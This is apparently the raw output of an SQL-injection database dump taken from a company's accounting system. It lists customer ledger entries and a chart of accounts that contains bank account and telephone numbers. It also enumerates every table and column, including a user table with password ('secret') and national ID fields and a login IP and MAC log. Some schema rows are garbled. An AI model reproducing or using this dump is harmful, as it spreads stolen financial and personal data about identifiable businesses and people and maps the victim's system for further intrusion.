15600.00 | Credit | ok | | I Net Communication | admin | 1500.00 | Credit | pending | | Cellone | admin | 0 | Credit | ok | | Cellone | admin | 21050.00 | Credit | pending | | DCK Power | admin | 0 | Credit | ok | | DCK Power | admin | 0 | Credit | ok | | Edirisinghe Electrical and Sound | admin | 78000.00 | Credit | ok | | Honey Entertaintment | admin | 24700.00 | Credit | ok | | Honey Entertaintment | admin | 1500.00 | Credit | ok | | New City Elecrtical | admin | 3000.00 | Credit | ok | | Orient International | admin | 45150.00 | Credit | ok | | New City Elecrtical | admin | 37945.00 | Credit | ok | | Ms.Amandhi | admin | 3150.00 | Credit | ok | | VALAMPURI TEXTILE (PVT) LTD | admin | 1500.00 | Credit | ok | | Mefocity | admin | 20800.00 | Credit | pending | | Light Effect Pro Entertaitment | admin | 147000.00 | Credit | ok | | Light Effect Pro Entertaitment | admin | 49000.00 | Credit | ok | | AURA EVENT SOLUTIONS (PVT) LTD | admin | 156000.00 | Credit | ok | | DNG ACCESSORIES LANKA (PVT) LTD | admin | 0.00 | Credit | ok | | Mefocity | admin | 4700.00 | Credit | pending | | Mr.Pradeep | admin | 170500.00 | Credit | ok | | CINE MEDIA STUDIO | admin | 39000.00 | Credit | ok | | Honey Entertaintment | admin | 171000.00 | Credit | pending | | LAKSHMAN MORTER HOUSE | admin | 8750.00 | Credit | ok | | DNG ACCESSORIES LANKA (PVT) LTD | admin | 8600.00 | Credit | pending | | Liyanage Hotel | admin | 3320.00 | Credit | ok | | Zone Motors | admin | 1660.00 | Credit | ok | | THE WHEEL WORKS (PVT) LTD | admin | 21750.00 | Credit | ok | | Zone Motors | admin | 1660.00 | Credit | ok | | A.I.Somarathne | admin | 2780.00 | Credit | ok | | New City Elecrtical | admin | 9000.00 | Credit | ok | | SILVER GLASS | admin | 7250.00 | Credit | ok | | Honey Entertaintment | admin | 3500.00 | Credit | ok | | Zone Motors | admin | 1660.00 | Credit | ok | | New City Elecrtical | admin | 14500.00 | Credit | pending | | Sarathchandra Perera | admin | 78000.00 | Credit | ok | | CINE MEDIA STUDIO | admin | 39000.00 | Credit | ok | | DNG ACCESSORIES LANKA (PVT) LTD | admin | 4300.00 | Credit | ok | | Senavirathne Carters | admin | 12900.00 | Credit | ok | | Zone Motors | admin | 2490.00 | Credit | ok | | M.L.M Electricals | admin | 21500.00 | Credit | ok | | SARASI FLORA | admin | 19500.00 | Credit | ok | | J M Distributores | admin | 2150.00 | Credit | ok | | Sarathchandra Perera | admin | 78000.00 | Credit | ok | | Manahara Flora | admin | 234000.00 | Credit | ok | | Manahara Flora | admin | 165050.00 | Credit | ok | | Mr.Pradeep | admin | 156000.00 | Credit | ok | | CINE MEDIA STUDIO | admin | 14500.00 | Credit | ok | | Sarathchandra Perera | admin | 78000.00 | Credit | ok | | Orinta Sound And Entertaitments | admin | 52500.00 | Credit | ok | | Orinta Sound And Entertaitments | admin | 52500.00 | Credit | ok | | Manahara Flora | admin | 30110.00 | Credit | pending | | CINE MEDIA STUDIO | admin | 62000.00 | Cash | ok | +----------------------------------+---------+-----------+---------+---------+ Database: csquareg_csglobal Table: nista_chart_account [37 entries] +----+------+-------------+--------------------------------------------+------------------------+---------+------------+-------------+ | id | CrDr | accCode | accName | accType | balance | logDate | accsubtype | +----+------+-------------+--------------------------------------------+------------------------+---------+------------+-------------+ | 7 | Cr | DB1 | Debter control Account | other Assets | 0 | 2012-03-23 | No Sub Type | | 8 | Dr | Cheq1 | Cheque in Hand | cash and cash equalent | 0 | 2012-03-23 | No Sub Type | | 10 | Cr | Cas1 | Cash in hand | cash and cash equalent | 0 | 2012-03-23 | No Sub Type | | 11 | Cr | sal1 | Sales Account | income | 0 | 2012-03-23 | No Sub Type | | 12 | Cr | vat | vat Account | Liability | 0 | 2012-03-23 | No Sub Type | | 13 | Cr | nbt | nbt Account | Liability | 0 | 2012-03-23 | No Sub Type | | 17 | Cr | cd1 | CreditorcontrolA/C | Liability | 0 | 2012-05-29 | No Sub Type | | 41 | Cr | stagest | Stock Adjestment A/C | expenses | 0 | 2013-01-15 | No Sub Type | | 37 | Cr | I2001 | Opening Balance Equity | Equity | | 2012-12-10 | No Sub Type | | 39 | Dr | invent | inventoryA/c | other Assets | 0 | 2012-12-21 | No Sub Type | | 40 | Dr | costsales | cost of sales A/C | expenses | 0 | 2013-01-01 | No Sub Type | | 74 | Dr | retunchq | return chque account | cash and cash equalent | | 2013-04-17 | No Sub Type | | 75 | Dr | 1001 | Electricity Payable | Liability | | 2014-11-19 | No Sub Type | | 76 | Dr | CSGPABCLKR | Csquare Global - PABC - LKR - 354617870114 | cash and cash equalent | | 2015-06-03 | No Sub Type | | 77 | Dr | CSHPABCLKR | Csquare Holdings PABC- LKR- 353419140112 | cash and cash equalent | | 2015-06-03 | No Sub Type | | 78 | Dr | PABC USD | PABC USD Supplier FEEA A/C 351899021611 | cash and cash equalent | | 2015-06-03 | No Sub Type | | 79 | Dr | PABCCALKR | PABC C/A 351899020119 | cash and cash equalent | | 2015-06-03 | No Sub Type | | 80 | Dr | OME | Office Maintinance Expense | expenses | | 2015-06-03 | No Sub Type | | 81 | Cr | OMP | Office Maintinance Payable | Liability | | 2015-06-03 | No Sub Type | | 82 | Dr | SLT | Srilanka Telecom | expenses | | 2015-06-03 | No Sub Type | | 83 | Cr | SLT Fax | Srilanka Telecom (0112058667)) | Liability | | 2015-06-03 | No Sub Type | | 84 | Cr | SLT INT | Srilanka Telecom (0112591069) | Liability | | 2015-06-03 | No Sub Type | | 85 | Dr | SW | Salary And Wages | expenses | | 2015-06-03 | No Sub Type | | 86 | Dr | CHRP | Csquare Holdings Receive Payments | cash and cash equalent | | 2015-06-08 | No Sub Type | | 87 | Dr | DPC | DNG Payments Cash | cash and cash equalent | | 2015-06-08 | No Sub Type | | 88 | Dr | CSC | Csquare Holdings Cash | cash and cash equalent | | 2015-06-08 | No Sub Type | | 89 | Dr | IC | International Courier Payment | expenses | | 2015-06-08 | No Sub Type | | 90 | Cr | ICP | International Courier Payment Payable | Liability | | 2015-06-08 | No Sub Type | | 91 | Dr | MOBI E | Srilanka Mobitel | expenses | | 2015-06-10 | No Sub Type | | 92 | Cr | MOBITELDONG | Mobitel (Pvt) Ltd (Dongle)0711832346 | Liability | | 2015-06-11 | No Sub Type | | 93 | Dr | ORP | Other Receive Payments | cash and cash equalent | | 2015-07-06 | No Sub Type | | 94 | Dr | BR | Building Rent | expenses | | 2015-07-10 | No Sub Type | | 95 | Dr | SampathLKR | Sampath Bank LKR 000410021714 | cash and cash equalent | | 2015-07-20 | No Sub Type | | 96 | Dr | OE | Other Expenses | expenses | | 2015-07-20 | No Sub Type | | 97 | Dr | DC | DNG Cash | Liability | | 2015-07-20 | No Sub Type | | 98 | Dr | CHC | Csquare Holdings Cash | Liability | | 2015-07-20 | No Sub Type | | 99 | Dr | DFC | Director Fee (Mr. Chamara) | expenses | | 2015-07-27 | No Sub Type | +----+------+-------------+--------------------------------------------+------------------------+---------+------------+-------------+ Database: information_schema Table: SCHEMATA [2 entries] +----------+--------------------+--------------+------------------------+----------------------------+ | SQL_PATH | SCHEMA_NAME | CATALOG_NAME | DEFAULT_COLLATION_NAME | DEFAULT_CHARACTER_SET_NAME | +----------+--------------------+--------------+------------------------+----------------------------+ | | ipquqqbi_mo_lobel | def | lashle_nvqckrdcai | uqtQ\\1 | | | iqqorqanigp`rcddla | def | poh:aYenfraj_ci | mrfU5 | +----------+--------------------+--------------+------------------------+----------------------------+ ======================== REPORT 5 ======================== Database: csquareg_csglobal [55 tables] +----------------------------+ | MsgDetails | | user | | creditreg | | customer | | customer_db | | finasolyear | | lekise | | nista_A_serial | | nista_account_privilege | | nista_account_screens | | nista_account_type | | nista_acountsubtype | | nista_bill_master | | nista_bill_summary | | nista_chart_account | | nista_con_privilege | | nista_con_screens | | nista_creditnote | | nista_creditor_summary | | nista_customer | | nista_debit_note | | nista_delevery_note | | nista_deleverynote_summary | | nista_deposit_Recipt | | nista_gtn_stock | | nista_harshanaAc | | nista_inven_privilege | | nista_inven_screens | | nista_invoicereturn | | nista_item | | nista_itemcatogory | | nista_master_privilege | | nista_master_screens | | nista_pay_voucher | | nista_po_master | | nista_purchasereturn | | nista_purches_privilege | | nista_purches_screens | | nista_recipt | | nista_repot_Screens | | nista_repot_privilege | | nista_selperson | | nista_stock | | nista_stock_master | | nista_stock_summary | | nista_stokadjestment | | nista_stokmovment | | nista_supplier | | nista_warehouse | | nistacompany | | product | | product_image | | product_list | | product_menu | | user_login_details | +----------------------------+ Database: csquareg_csglobal Table: nista_bill_summary [17 columns] +--------------+--------------+ | Column | Type | +--------------+--------------+ | amount | varchar(50) | | billDate | varchar(50) | | billNo | varchar(100) | | billTime | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | discount | varchar(50) | | id | int(50) | | logUser | varchar(50) | | nbt | varchar(50) | | notes | varchar(300) | | paybalense | varchar(50) | | paytype | varchar(50) | | printOk | varchar(50) | | status | varchar(50) | | subTotal | varchar(50) | | vat | varchar(50) | +--------------+--------------+ Database: csquareg_csglobal Table: nista_inven_screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_master_screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: product_menu [6 columns] +-----------+---------+ | Column | Type | +-----------+---------+ | position | int(11) | | active | int(11) | | icon | text | | id | int(11) | | main_id | int(11) | | menu_name | text | +-----------+---------+ Database: csquareg_csglobal Table: nista_A_serial [9 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | grnDate | varchar(50) | | grnNo | varchar(50) | | id | int(11) | | invoiceDate | varchar(50) | | invoiceNo | varchar(100) | | serialNo | varchar(50) | | status | varchar(50) | | stItemCode | varchar(50) | | warehouse | varchar(50) | +-------------+--------------+ Database: csquareg_csglobal Table: nista_customer [16 columns] +------------------+--------------+ | Column | Type | +------------------+--------------+ | address | varchar(100) | | availablecredits | varchar(50) | | cheqcolectdate | varchar(50) | | createby | varchar(50) | | createTime | varchar(50) | | creditlimit | varchar(50) | | creditperid | varchar(50) | | cuscode | varchar(50) | | email | varchar(100) | | fax | varchar(50) | | id | int(50) | | mobileno | varchar(50) | | name | varchar(50) | | person | varchar(50) | | status | varchar(50) | | tpnumber | varchar(50) | +------------------+--------------+ Database: csquareg_csglobal Table: nista_account_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: finasolyear [5 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | fromdate | varchar(50) | | fromyear | varchar(50) | | id | int(50) | | todate | varchar(50) | | toyear | varchar(50) | +----------+-------------+ Database: csquareg_csglobal Table: nista_item [11 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | time | datetime | | code | varchar(50) | | id | int(50) | | itemtype | varchar(50) | | name | varchar(50) | | registerby | varchar(50) | | reoderlevel | varchar(50) | | sellprice | varchar(50) | | status | varchar(50) | | unitmeser | varchar(50) | | unitprice | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nistacompany [8 columns] +---------+-------------+ | Column | Type | +---------+-------------+ | address | varchar(50) | | cmpany | varchar(50) | | email | varchar(50) | | fax | varchar(50) | | id | int(50) | | mob | varchar(50) | | tp | varchar(50) | | type | varchar(50) | +---------+-------------+ Database: csquareg_csglobal Table: nista_purches_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: nista_deleverynote_summary [16 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | amount | varchar(50) | | billDate | varchar(50) | | billNo | varchar(50) | | billTime | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | discount | varchar(50) | | id | int(50) | | logUser | varchar(50) | | nbt | varchar(50) | | paybalense | varchar(50) | | paytype | varchar(50) | | printOk | varchar(50) | | status | varchar(50) | | subTotal | varchar(50) | | vat | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_supplier [10 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | address | varchar(100) | | createby | varchar(50) | | createTime | datetime | | email | varchar(100) | | fax | varchar(50) | | id | int(50) | | name | varchar(50) | | person | varchar(50) | | spcode | varchar(50) | | tpnumber | varchar(50) | +------------+--------------+ Database: csquareg_csglobal Table: nista_repot_Screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_inven_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: user [12 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | active | varchar(50) | | frist_name | varchar(255) | | img_id | text | | last_name | varchar(255) | | mobile | varchar(10) | | nic | varchar(50) | | privilege | varchar(50) | | secret | varchar(255) | | tp | varchar(10) | | user_name | varchar(255) | | useradress | varchar(500) | | userId | int(11) | +------------+--------------+ Database: csquareg_csglobal Table: nista_acountsubtype [3 columns] +------------+-------------+ | Column | Type | +------------+-------------+ | acounttype | varchar(50) | | id | int(50) | | subtype | varchar(50) | +------------+-------------+ Database: csquareg_csglobal Table: nista_selperson [9 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | address | varchar(100) | | createby | varchar(50) | | createTime | varchar(50) | | email | varchar(50) | | fax | varchar(50) | | id | int(50) | | name | varchar(50) | | personcord | varchar(50) | | tpnumber | varchar(50) | +------------+--------------+ Database: csquareg_csglobal Table: creditreg [10 columns] +----------+---------------+ | Column | Type | +----------+---------------+ | cradd | varchar(1000) | | crbank | varchar(100) | | crcode | varchar(50) | | crconper | varchar(50) | | cremail | varchar(500) | | crfax | varchar(20) | | crid | int(30) | | crname | varchar(500) | | crtp | varchar(20) | | regdate | varchar(100) | +----------+---------------+ Database: csquareg_csglobal Table: MsgDetails [10 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | Date | date | | Time | time | | cusDb | varchar(12) | | ID | int(10) | | Name | varchar(30) | | Remaks | varchar(160) | | Sent | int(10) | | Tel1 | varchar(12) | | Tel2 | varchar(12) | | Typ | int(10) | +--------+--------------+ Database: csquareg_csglobal Table: nista_delevery_note [20 columns] +--------------+--------------+ | Column | Type | +--------------+--------------+ | addAll | varchar(50) | | amount | varchar(50) | | billdate | varchar(50) | | billno | varchar(50) | | billTime | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | icode | varchar(50) | | id | int(50) | | iname | varchar(100) | | logUser | varchar(50) | | paytype | varchar(50) | | printok | varchar(50) | | quantity | varchar(50) | | sels_person | varchar(50) | | total | varchar(50) | | uprice | varchar(50) | | vat | varchar(50) | | warehouse | varchar(50) | | warranty | varchar(50) | +--------------+--------------+ Database: csquareg_csglobal Table: nista_account_type [3 columns] +---------+-------------+ | Column | Type | +---------+-------------+ | accCode | varchar(50) | | accName | varchar(50) | | id | int(50) | +---------+-------------+ Database: csquareg_csglobal Table: user_login_details [6 columns] +-----------------------+--------------+ | Column | Type | +-----------------------+--------------+ | login_end_date_time | datetime | | login_id | int(11) | | login_ip | varchar(255) | | login_start_date_time | datetime | | login_user_name | varchar(255) | | mac_address | varchar(255) | +-----------------------+--------------+ Database: csquareg_csglobal Table: nista_bill_master [29 columns] +--------------+--------------+ | Column | Type | +--------------+--------------+ | addAll | varchar(50) | | amount | varchar(50) | | billdate | varchar(50) | | billno | varchar(100) | | billTime | varchar(50) | | costprice | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | deliver_to | varchar(50) | | deliverdate | varchar(50) | | grnno | int(50) | | icode | varchar(50) | | id | int(50) | | iname | varchar(100) | | itemstatus | varchar(50) | | logUser | varchar(50) | | paytype | varchar(50) | | pono | varchar(50) | | printok | varchar(50) | | quantity | varchar(50) | | retunqty | varchar(50) | | sels_person | varchar(50) | | serialstate | varchar(50) | | status | varchar(50) | | total | varchar(50) | | uprice | varchar(50) | | vat | varchar(50) | | warehouse | varchar(50) | | warranty | varchar(50) | +--------------+--------------+ Database: csquareg_csglobal Table: nista_con_screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_itemcatogory [2 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | catogaryname | varchar(50) | | id | int(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_creditor_summary [13 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | addall | varchar(50) | | amount | varchar(50) | | balancepay | varchar(50) | | billDate | varchar(50) | | billno | varchar(50) | | creditor | varchar(50) | | curencytype | varchar(50) | | description | varchar(50) | | id | int(11) | | logTime | varchar(50) | | payStatus | varchar(50) | | refDate | varchar(50) | | refNo | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_purchasereturn [18 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(50) | | cusName | varchar(50) | | earlyAmuount | varchar(50) | | GRNDate | varchar(50) | | GRNno | varchar(50) | | id | int(50) | | ItemCode | varchar(50) | | ItemName | varchar(50) | | nbt | varchar(50) | | oldQuntityty | varchar(50) | | retnQuantity | varchar(50) | | returndate | varchar(50) | | serialstaus | varchar(50) | | SubTotal | varchar(50) | | Total | varchar(50) | | UnitPrice | varchar(50) | | vat | varchar(50) | | warehouse | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_deposit_Recipt [14 columns] +-----------------+-------------+ | Column | Type | +-----------------+-------------+ | user | varchar(50) | | amount | varchar(50) | | billDate | varchar(50) | | billName | varchar(50) | | billNo | varchar(50) | | chqecolecperiod | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | id | int(50) | | payment | varchar(50) | | reciptDate | varchar(50) | | reciptno | varchar(50) | | sign | varchar(50) | | status | varchar(50) | +-----------------+-------------+ Database: csquareg_csglobal Table: nista_repot_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: product [4 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | id | int(11) | | product_name | text | | ptype | varchar(11) | | status | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_harshanaAc [10 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | user | varchar(50) | | ammount | varchar(50) | | cheqdate | varchar(50) | | chqno | varchar(50) | | cr_dr | varchar(50) | | curantdate | varchar(50) | | description | varchar(50) | | hdate | varchar(50) | | id | int(50) | | paytype | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: customer_db [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | db | varchar(100) | | id | int(10) | +--------+--------------+ Database: csquareg_csglobal Table: nista_stock_summary [13 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | amount | varchar(50) | | grnDate | varchar(50) | | grnNo | int(50) | | id | int(11) | | logTime | varchar(50) | | logUser | varchar(50) | | nbt | varchar(50) | | payAmu | varchar(50) | | payStatus | varchar(50) | | poDate | varchar(50) | | poNo | varchar(50) | | supplier | varchar(50) | | vat | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: nista_invoicereturn [17 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(50) | | cusName | varchar(50) | | earlyAmuount | varchar(50) | | id | int(50) | | invoiceDate | varchar(50) | | invoiceno | varchar(50) | | ItemCode | varchar(50) | | ItemName | varchar(50) | | nbt | varchar(50) | | oldQuntityty | varchar(50) | | retnQuantity | varchar(50) | | returndate | varchar(50) | | SubTotal | varchar(50) | | Total | varchar(50) | | UnitPrice | varchar(50) | | vat | varchar(50) | | warehouse | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: customer [6 columns] +-----------+--------------+ | Column | Type | +-----------+--------------+ | address | varchar(500) | | conNo | varchar(15) | | conPerson | varchar(100) | | cusDb | varchar(5) | | cusName | varchar(100) | | id | int(10) | +-----------+--------------+ Database: csquareg_csglobal Table: nista_chart_account [8 columns] +------------+-------------+ | Column | Type | +------------+-------------+ | accCode | varchar(50) | | accName | varchar(50) | | accsubtype | varchar(50) | | accType | varchar(50) | | balance | varchar(50) | | CrDr | varchar(50) | | id | int(50) | | logDate | varchar(50) | +------------+-------------+ Database: csquareg_csglobal Table: nista_warehouse [8 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | address | varchar(100) | | createby | varchar(50) | | createTime | varchar(50) | | fax | varchar(50) | | id | int(50) | | name | varchar(50) | | person | varchar(50) | | tpnumber | varchar(50) | +------------+--------------+ Database: csquareg_csglobal Table: nista_account_screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_con_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: nista_po_master [17 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | user | varchar(50) | | amount | varchar(50) | | grn | varchar(50) | | grnQuantity | varchar(50) | | id | int(11) | | item_code | varchar(50) | | item_name | varchar(50) | | logTime | varchar(30) | | nbt | varchar(50) | | okorder | varchar(50) | | po_date | varchar(50) | | po_no | varchar(50) | | quantity | varchar(50) | | sub_total | varchar(50) | | supp_name | varchar(50) | | unit_price | varchar(50) | | vat | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_master_privilege [4 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | view | varchar(50) | | screen_id | varchar(50) | | user_id | varchar(50) | | username | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: nista_stock [18 columns] +---------------+-------------+ | Column | Type | +---------------+-------------+ | user | varchar(50) | | grnretunqty | varchar(50) | | id | int(11) | | logTime | varchar(50) | | po_master_id | varchar(50) | | stAmount | varchar(50) | | statu | varchar(50) | | stCurrentQuan | varchar(50) | | stGRNDate | varchar(50) | | stGRNNo | int(50) | | stGrnQuantity | varchar(50) | | stItemCode | varchar(50) | | stItemName | varchar(50) | | stPODate | varchar(50) | | stPONo | varchar(50) | | stSupplier | varchar(50) | | stUnitPrice | varchar(50) | | stWareHouse | varchar(50) | +---------------+-------------+ Database: csquareg_csglobal Table: nista_purches_screens [3 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | description | varchar(50) | | screen_id | varchar(50) | | screen_name | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_creditnote [12 columns] +-----------------+-------------+ | Column | Type | +-----------------+-------------+ | user | varchar(50) | | credit_ammount | varchar(50) | | creditnote_date | varchar(50) | | creditnote_no | varchar(50) | | customer | varchar(50) | | fulltotal | varchar(50) | | id | int(50) | | invoice_date | varchar(50) | | invoice_no | varchar(50) | | nbt | varchar(50) | | payment | varchar(50) | | vat | varchar(50) | +-----------------+-------------+ Database: csquareg_csglobal Table: nista_stokmovment [7 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | id | int(50) | | itemcode | varchar(50) | | itemname | varchar(50) | | quantity | varchar(50) | | satus | varchar(50) | | transerdate | varchar(50) | | warehouse | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_debit_note [11 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | debitAmu | varchar(50) | | debitnote_no | varchar(50) | | grnAmu | varchar(50) | | grnNo | varchar(50) | | id | int(50) | | logTime | varchar(50) | | logUser | varchar(50) | | nbt | varchar(50) | | subTotal | varchar(50) | | suppName | varchar(50) | | vat | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_gtn_stock [10 columns] +-------------+-------------+ | Column | Type | +-------------+-------------+ | user | varchar(50) | | gtnFromQty | varchar(50) | | gtnFromWaHo | varchar(50) | | gtnItemCode | varchar(50) | | gtnItemName | varchar(50) | | gtnNo | varchar(50) | | gtnToQty | varchar(50) | | gtnToWaHo | varchar(50) | | id | int(50) | | logTime | varchar(50) | +-------------+-------------+ Database: csquareg_csglobal Table: nista_stokadjestment [10 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | ajestmentqty | varchar(50) | | ajprice | varchar(50) | | curantqty | varchar(50) | | grnno | varchar(50) | | id | int(50) | | itamname | varchar(50) | | itcode | varchar(50) | | todate | varchar(50) | | totalqty | varchar(50) | | werehousaa | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: product_image [8 columns] +---------------+--------------+ | Column | Type | +---------------+--------------+ | position | int(11) | | active | int(11) | | art_work | varchar(50) | | cat | int(11) | | id | int(11) | | product_id | varchar(255) | | product_parth | text | | small_cat | int(11) | +---------------+--------------+ Database: csquareg_csglobal Table: nista_pay_voucher [22 columns] +-------------+------------------+ | Column | Type | +-------------+------------------+ | No | int(100) | | section | varchar(45) | | accCode | varchar(45) | | accName | varchar(45) | | addAll | varchar(45) | | amount | varchar(45) | | billDate | varchar(45) | | chequeDate | varchar(45) | | chequeNo | varchar(45) | | company | varchar(45) | | description | mediumtext | | DrCr | varchar(45) | | grnNo | varchar(45) | | id | int(10) unsigned | | invoNo | varchar(50) | | itemcode | varchar(50) | | itemname | varchar(50) | | logTime | varchar(45) | | logUser | varchar(45) | | payAmount | varchar(45) | | payStatus | varchar(45) | | payType | varchar(45) | +-------------+------------------+ Database: csquareg_csglobal Table: nista_recipt [15 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(50) | | amount | varchar(50) | | bank | varchar(50) | | cheqDate | varchar(50) | | cheqno | varchar(50) | | creditperiod | varchar(50) | | customer | varchar(50) | | id | int(50) | | invoiceDate | varchar(50) | | invoiceno | varchar(50) | | payment | varchar(50) | | payType | varchar(50) | | reciptDate | varchar(50) | | reciptno | varchar(50) | | status | varchar(50) | +--------------+-------------+ Database: csquareg_csglobal Table: nista_stock_master [8 columns] +-----------+-------------+ | Column | Type | +-----------+-------------+ | grndate | varchar(50) | | grnno | int(50) | | id | int(50) | | itemCode | varchar(50) | | itemName | varchar(50) | | quantity | int(50) | | status | varchar(50) | | wareHouse | varchar(50) | +-----------+-------------+ Database: csquareg_csglobal Table: lekise [6 columns] +--------------+--------------+ | Column | Type | +--------------+--------------+ | position | int(11) | | active | int(11) | | cat_link | text | | display_name | varchar(255) | | folder_name | varchar(255) | | id | int(11) | +--------------+--------------+ Database: csquareg_csglobal Table: product_list [12 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | position | int(11) | | active | int(11) | | alt_tag | text | | cat | text | | description | text | | id | int(11) | | menu_id | varchar(255) | | model | varchar(255) | | name | text | | price | varchar(255) | | sold | int(11) | | video | text | +-------------+--------------+ Database: information_schema [59 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | ENGINES | | EVENTS | | FILES | | GLOBAL_STATUS | | GLOBAL_VARIABLES | | INNODB_BUFFER_PAGE | | INNODB_BUFFER_PAGE_LRU | | INNODB_BUFFER_POOL_STATS | | INNODB_CMP | | INNODB_CMPMEM | | INNODB_CMPMEM_RESET | | INNODB_CMP_PER_INDEX | | INNODB_CMP_PER_INDEX_RESET | | INNODB_CMP_RESET | | INNODB_FT_BEING_DELETED | | INNODB_FT_CONFIG | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_FT_DELETED | | INNODB_FT_INDEX_CACHE | | INNODB_FT_INDEX_TABLE | | INNODB_LOCKS | | INNODB_LOCK_WAITS | | INNODB_METRICS | | INNODB_SYS_COLUMNS | | INNODB_SYS_DATAFILES | | INNODB_SYS_FIELDS | | INNODB_SYS_FOREIGN | | INNODB_SYS_FOREIGN_COLS | | INNODB_SYS_INDEXES | | INNODB_SYS_TABLES | | INNODB_SYS_TABLESPACES | | INNODB_SYS_TABLESTATS | | INNODB_TRX | | KEY_COLUMN_USAGE | | OPTIMIZER_TRACE | | PARAMETERS | | PARTITIONS | | PLUGINS | | PROCESSLIST | | PROFILING | | REFERENTIAL_CONSTRAINTS | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | SESSION_STATUS | | SESSION_VARIABLES | | STATISTICS | | TABLES | | TABLESPACES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ Database: information_schema Table: SCHEMATA [5 columns] +----------------------------+--------------+ | Column | Type | +----------------------------+--------------+ | CATALOG_NAME | varchar(512) | | DEFAULT_CHARACTER_SET_NAME | varchar(32) | | DEFAULT_COLLATION_NAME | varchar(32) | | SCHEMA_NAME | varchar(64) | | SQL_PATH | varchar(512) | +----------------------------+--------------+ Database: information_schema Table: USER_PRIVILEGES [4 columns] +----------------+--------------+ | Column | Type | +----------------+--------------+ | GRANTEE | varchar(81) | | IS_GRANTABLE | varchar(3) | | PRIVILEGE_TYPE | varchar(64) | | TABLE_CATALOG | varchar(512) | +----------------+--------------+